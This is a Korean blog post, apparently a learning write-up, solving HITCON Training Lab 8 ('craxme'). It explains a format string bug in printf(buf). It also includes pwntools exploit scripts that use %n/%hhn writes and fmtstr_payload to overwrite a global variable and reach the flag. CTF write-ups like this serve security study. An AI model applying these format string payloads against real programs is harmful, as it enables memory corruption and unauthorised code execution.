tmxklab

hitcon training [LAB 8] 본문

War Game/hitcon training

hitcon training [LAB 8]

tmxk4221 2020. 7. 19. 18:06

1. 문제

1) mitigation확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+Ch] [ebp-10Ch]
  unsigned int v5; // [esp+10Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  puts("Please crax me !");
  printf("Give me magic :");
  read(0, &buf, 0x100u);
  printf(&buf);
  if ( magic == 0xDA )
  {
    system("cat /home/craxme/flag");
  }
  else if ( magic == 0xFACEB00C )
  {
    system("cat /home/craxme/craxflag");
  }
  else
  {
    puts("You need be a phd");
  }
  return 0;
}

 

printf(buf)에서 FSB가 발생한다. 이거를 이용해서 bss영역에 존재하는 magic의 값을 0xda 또는 0xfaceb00c로 변경하면 될 것 같다.

 

 


2. 접근 방법

 

FSB를 이용하여 magic변수에 if문을 만족시키는 값을 넣는다.

자세한 방법은 다음 링크에서 참고

 

[FTZ] Level11 풀이

1. 문제 확인 1) 사용자 및 패스워드 : level11 / what!@#$? 2) 파일 확인 3) hint 코드 설명 #include #include // argc, argv를 통해 인자 값을 받아 실행 int main( int argc, char *argv[]) { // char형 str..

rninche01.tistory.com

 


3. 풀이

참고로, 두 번째 if문을 통과하기 위해서 x86 elf파일이므로 2bytes씩 나눠서 저장해줘야 한다.

 

1) 익스코드

from pwn import *

p = process("./craxme")
#gdb.attach(p)

magic = 0x804a038

first_if = int(0xda)
second_if_1 = int(0x1face)
second_if_2 = int(0xb00c)

# 1. magic = 0xda
payload1 = p32(magic)
payload1 += "%" + str(first_if - len(payload1)) + "c"
payload1 += "%7$n"

# 2. magic - 0xfaceb00c
payload2 = p32(magic)
payload2 += p32(magic+0x2)
payload2 += "%" + str(second_if_2 - len(payload2)) + "c"
payload2 += "%7$n"
payload2 += "%" + str(second_if_1 - second_if_2) + "c"
payload2 += "%8$n"

#p.sendafter(":", payload1)
p.sendafter(":", payload2)

p.interactive()

 

2) 공격실행

2-1) 첫 번째 if문 통과

 

2-2) 두 번째 if문 통과

 


4. 몰랐던 개념

다른 풀이를 보다가 pwntools에서 FSB공격을 위해 지원해주는 기능이 또 있다... 좀 신기하다 ㅋㅋㅋ

 

다음 익스코드는 밑에 사이트에서 참고하였다.

 

realsung

Hacker

realsung.github.io

익스코드)

from pwn import *

e = ELF("./craxme")
p = process("./craxme")

offset = 7
magic = 0x804a038

# 1. first if
payload1 = p32(magic)
payload1 += "%{}d".format(214)
payload1 += "%{}$hhn".format(offset)

# 2. second if
payload2 = fmtstr_payload(offset, {magic:0xfaceb00c})

p.sendafter(":", payload1)
#p.sendafter(":", payload2)

p.interactive()

 

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 10]  (0) 2020.07.21
hitcon training [LAB 9]  (0) 2020.07.21
hitcon training [LAB 7]  (0) 2020.07.19
hitcon training [LAB 6]  (0) 2020.07.19
hitcon training [LAB 5]  (0) 2020.07.19
Comments